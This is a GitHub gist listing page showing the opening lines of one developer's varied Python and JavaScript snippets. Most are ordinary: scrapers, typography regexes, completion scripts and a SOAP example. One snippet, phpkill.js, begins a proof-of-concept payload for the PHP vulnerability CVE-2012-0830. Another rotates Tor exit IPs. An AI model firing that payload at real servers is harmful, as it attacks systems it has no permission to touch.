Skip to content

Instantly share code, notes, and snippets.

starenka starenka

Block or report user

Report or block starenka

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View boldgamesdl.py
#!/usr/bin/env python
import string, re
import requests
URL_LIST = 'http://www.bestoldgames.net/abc/%s.php'
URL_DL = 'http://www.bestoldgames.net/download/bgames/%s.zip'
RE_HREF = re.compile(r'<a href="/stare-hry/(.*?).php">')
urls = []
@starenka
starenka / texytypo.py
Created Oct 1, 2012 — forked from msgre/texytypo.py
Texy typoška
View texytypo.py
import re
# sada regularnich vyrazu pro lepsi typosku
# zdroj: texy-2.1/texy/modules/TexyTypographyModule.php
TEXY_CHARS = ur'A-Za-z\u00C0-\u02FF\u0370-\u1EFF'
TEXY_TYPO_PATTERNS = [
(re.compile(ur'(?<![.\u2026])\.{3,4}(?![.\u2026])', re.M | re.U), u"\u2026"), # ellipsis ...
(re.compile(ur'(?<=[\d ])-(?=[\d ]|$)'), u"\u2013"), # en dash 123-123
(re.compile(ur'(?<=[^!*+,/:;<=>@\\\\_|-])--(?=[^!*+,/:;<=>@\\\\_|-])'), u"\u2013"), # en dash alphanum--alphanum
@starenka
starenka / gist:3787412
Created Sep 26, 2012 — forked from ehmo/gist:1349819
Request a new IP address from TOR in Python
View gist:3787412
def NewTorIP():
s = socket.socket()
s.connect(('localhost', 9051))
s.send("AUTHENTICATE\r\n")
r = s.recv(1024)
if r.startswith('250'):
s.send("signal NEWNYM\r\n")
r = s.recv(1024)
if r.startswith('250'):
return True
@starenka
starenka / about.md
Created Aug 30, 2012 — forked from jasonrudolph/about.md
Programming Achievements: How to Level Up as a Developer
View about.md
@starenka
starenka / _hg
Created Mar 29, 2012 — forked from yuitowest/_hg
Zsh completion script for mercurial
View _hg
#compdef hg
# Zsh completion script for mercurial. Rename this file to _hg and copy
# it into your zsh function path (/usr/share/zsh/site-functions for
# instance)
#
# If you do not want to install it globally, you can copy it somewhere
# else and add that directory to $fpath. This must be done before
# compinit is called. If the file is copied to ~/.zsh.d, your ~/.zshrc
# file could look like this:
@starenka
starenka / core.py
Created Mar 13, 2012 — forked from kracekumar/core.py
parallelpip demo
View core.py
#! -*- Coding: utf-8 -*-
from gevent import monkey
monkey.patch_all()
import gevent
import time
from envoy import run
from sys import exit, argv
import subprocess
import pip
View phpkill.js
// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c)
// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
// Generate 1000 normal keys and one array
function createEvilObj () {
var evil_obj = {};
for (var i = 0; i < 1001; i++) {
evil_obj[i] = 1;
}
evil_obj['kill[]'] = 'kill';
View objectifiedJson.py
import simplejson as json
import lxml
class objectJSONEncoder(json.JSONEncoder):
"""A specialized JSON encoder that can handle simple lxml objectify types
>>> from lxml import objectify
>>> obj = objectify.fromstring("<Book><price>1.50</price><author>W. Shakespeare</author></Book>")
>>> objectJSONEncoder().encode(obj)
'{"price": 1.5, "author": "W. Shakespeare"}'
"""
@starenka
starenka / simple_as_hell.py
Created Nov 7, 2011 — forked from sputnikus/simple_as_hell.py
SOAP in Python - examples
View simple_as_hell.py
import logging
from rpclib.application import Application
from rpclib.decorator import srpc
from rpclib.service import ServiceBase
from rpclib.model.primitive import String
from rpclib.model.primitive import Integer
from rpclib.model.complex import Iterable
from rpclib.interface.wsdl import Wsdl11
from rpclib.protocol.soap import Soap11
@starenka
starenka / Y-U-NO-HTML.py
Created Sep 15, 2011
Aktuální Respekt v HTML
View Y-U-NO-HTML.py
# Scrapuje Respekt.cz, aby to shráblo aktuální číslo v HTML.
# Nestahuje to obrázky, ale vidět jsou, protože maj absolutní URL,
# tohle se dá spravit pomocí pář řádků.
#
# Bohužel hapruje diakritika, bude tam někde potřeba pořešit přes iconv nebo tak něco.
import mechanize
from pyquery import PyQuery as pq
usr = "username"
You can’t perform that action at this time.